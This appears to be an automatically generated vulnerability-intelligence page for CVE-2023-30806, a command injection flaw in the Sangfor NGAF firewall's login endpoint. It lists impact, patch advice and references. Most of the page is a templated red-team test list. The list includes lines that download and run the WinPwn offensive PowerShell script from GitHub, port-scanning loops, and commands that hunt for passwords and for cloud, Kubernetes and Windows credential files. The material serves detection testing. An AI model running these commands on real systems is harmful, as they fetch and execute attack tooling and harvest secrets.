CVE-2023-30806
Overview
This vulnerability is an operating system command injection caused by improper sanitization of shell meta-characters within the PHPSESSID cookie. The flaw resides in the Sangfor Next-Gen Application Firewall NGAF8.0.17, specifically in the handling of HTTP POST requests directed at the /cgi-bin/login.cgi endpoint. The affected component fails to correctly validate or escape user-controlled input, enabling injection of arbitrary OS commands.
Vulnerability Description
The Sangfor Next-Gen Application Firewall version NGAF8.0.17 is vulnerable to an operating system command injection vulnerability. A remote and unauthenticated attacker can execute arbitrary commands by sending a crafted HTTP POST request to the /cgi-bin/login.cgi endpoint. This is due to mishandling of shell meta-characters in the PHPSESSID cookie.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the firewall, potentially leading to full compromise of the device. This requires only network access to the affected endpoint and no user interaction or authentication (AV:N/AC:L/PR:N/UI:N). Successful exploitation can result in data breach, service disruption, or lateral movement within the network, severely impacting the security posture of organizations deploying this product.
Solution
Sangfor has released patches addressing this vulnerability in versions later than NGAF8.0.17. Users should upgrade to the latest firmware as detailed in the advisory at https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/. Additional guidance and patch details are available at https://vulncheck.com/advisories/sangfor-ngaf-sessid-rce. AWS Marketplace listings also reflect updated secure versions. Applying the vendor-provided updates promptly is recommended to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sangfor | Next-Gen Application Firewall | ngaf8.0.17 |
cpe:2.3:a:sangfor:next-gen_application_firewall:ngaf8.0.17:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-30806 |
| labs.watchtowr.com |
GitHub CVE
third-party-advisory
exploit
technical-description
|
https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/sangfor-ngaf-sessid-rce |
| aws.amazon.com |
GitHub CVE
product
|
https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4 |